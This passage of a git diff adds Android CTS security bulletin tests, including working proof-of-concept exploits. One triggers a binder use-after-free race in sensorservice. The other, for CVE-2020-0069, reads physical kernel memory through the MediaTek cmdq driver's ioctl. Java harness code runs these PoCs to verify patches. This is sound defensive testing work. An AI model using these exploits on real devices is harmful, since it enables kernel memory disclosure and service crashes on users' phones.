+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+             const struct timespec *timeout, int *uaddr2, int val3) {
+  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+    my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+    usleep(100);
+    IInterface::asBinder(sensorEventConnection)
+        ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+  }
+
+  return NULL;
+}
+
+static void *bcfree(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+    {
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+      const uint8_t *rmData = reply.data();
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+    }
+
+    attack_signal = ATTACK;
+    my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+    usleep(100);
+    {
+      Parcel data, reply;
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+      for (int i = 0; i < 20; i++)
+        IInterface::asBinder(sensorEventConnection)
+            ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+    }
+    attack_signal = SLEEP;
+  }
+
+  return NULL;
+}
+
+int main() {
+  pthread_t t1, t2, t3;
+
+  test_started = start_timer();
+
+  pthread_create(&t1, NULL, bcfree_helper, NULL);
+  pthread_create(&t2, NULL, bcfree, NULL);
+  pthread_create(&t3, NULL, bcfree_helper, NULL);
+  pthread_join(t1, NULL);
+  pthread_join(t2, NULL);
+  pthread_join(t3, NULL);
+  return EXIT_SUCCESS;
+}
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
new file mode 100644
index 0000000..4bce9a40
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2020-0069
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:=
+
+LOCAL_SHARED_LIBRARIES:=
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..4cc0852
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                           \
+  instructions[command.buffer_size / 8] = (x); \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+    case -1:
+      if (errno == EFAULT) {
+        // Command buffer rejected, the driver is patched.
+        result = OperationFailed;
+      }
+      // Something is wrong with the command buffer.  This may be a device
+      // type that has not been encountered during testing.
+      break;
+    case 0:
+      // Driver accepted the command buffer and did something with it.
+      result = OperationSuccess;
+      break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+        case OperationSuccess:
+          command_accepted = true;
+          for (size_t ii = 0; ii < read_size; ii++) {
+            if (buffer[ii] != 0) {
+              exit_code = EXIT_VULNERABLE;
+              goto exit;
+            }
+          }
+          break;
+        case OperationFailed:
+          exit_code = EXIT_SUCCESS;
+          break;
+        case OperationError:
+          break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
index 44ea5cc..be268ad 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
@@ -32,4 +32,3 @@
 LOCAL_ARM_MODE := arm
 LOCAL_CFLAGS := -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index dc2ae84..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -203,4 +203,3 @@
 }
 
 #endif /* CHECK_UNINITIALIZED_MEMORY */
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 3746e1d..d9fbdd1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,7 +16,6 @@
 
 package android.security.cts;
 
-import com.android.compatibility.common.util.Crash;
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -36,17 +35,19 @@
 import java.io.OutputStream;
 import java.util.concurrent.TimeoutException;
 import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
 import java.util.Arrays;
 import java.util.ArrayList;
-import java.util.concurrent.Callable;
 import java.util.Collections;
 
 import java.util.regex.Pattern;
-import java.lang.Thread;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import static org.junit.Assert.*;
-import junit.framework.Assert;
 
 public class AdbUtils {
 
@@ -453,7 +454,7 @@
      * process pattern.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
-     * @param config a crash parser configuration
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
     public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
             String... processPatternStrings) throws Exception {
@@ -637,8 +638,8 @@
             CrashUtils.Config config) throws Exception {
         String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
 
-        List<Crash> crashes = CrashUtils.getAllCrashes(logcat);
-        List<Crash> securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
 
         MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
         reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
@@ -646,7 +647,7 @@
                 ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.submit();
 
-        if (securityCrashes.isEmpty()) {
+        if (securityCrashes.length() == 0) {
             return; // no security crashes detected
         }
 
@@ -657,10 +658,11 @@
             error.append(String.format(" '%s'", pattern.toString()));
         }
         error.append("\nCrashes:\n");
-        for (Crash crash : securityCrashes) {
-            if (crash.crashString != null) {
-                error.append(String.format("%s\n", crash.crashString));
-            }
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
         }
         fail(error.toString());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index fa2e5f0..60a15e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 46d4c1c..6e4dea9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -144,7 +144,8 @@
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8460() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
         }
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 68f0c04..492fdb0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -99,6 +99,7 @@
             }, null);
         }
     }
+
     /**
      * b/32707507
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index b6ddbc8..ce21c1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -55,4 +55,14 @@
         AdbUtils.runPocAssertNoCrashes("CVE-2018-9349", getDevice(), "mediaserver");
         AdbUtils.runCommandLine("rm /data/local/tmp/CVE-2018-9349.yuv", getDevice());
     }
+
+    /**
+     *  b/73172817
+     */
+    @Test
+    @SecurityTest
+    public void testPocCVE_2018_9344() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2018-9344", getDevice(),
+                "android\\.hardware\\.cas@\\d+?\\.\\d+?-service");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 1448874..ef5b726 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -27,6 +27,23 @@
 public class Poc18_10 extends SecurityTestCase {
 
     /**
+     *  b/111641492
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-10")
+    public void testPocCVE_2018_9515() throws Exception {
+        AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+        boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+        if (vulnerableBecauseCrashed) {
+            // wait for device to come online so we can clean up
+            getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+        }
+        AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+    }
+
+    /**
      *  b/111274046
      */
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..0abe1bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_11 extends SecurityTestCase {
+
+    /**
+     *  b/113027383
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9539() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
new file mode 100644
index 0000000..7b28a1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_02 extends SecurityTestCase {
+
+    /**
+     * b/70857947
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-02")
+    public void testPocCVE_2018_6267() throws Exception {
+        pocPusher.only32();
+        AdbUtils.runPocAssertNoCrashes("CVE-2018-6267", getDevice(), "mediaserver");
+    }
+
+    /**
+     * b/80198474
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-02")
+    public void testPocCVE_2018_6271() throws Exception {
+        pocPusher.only32();
+        AdbUtils.runPocAssertNoCrashes("CVE-2018-6271", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index b4aa7ac..5977b4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -33,4 +33,13 @@
     public void testPocBug_115739809() throws Exception {
         assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
+
+    /**
+     * b/116855682
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocCVE_2019_2025() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index f31f1e7..4f3f933 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
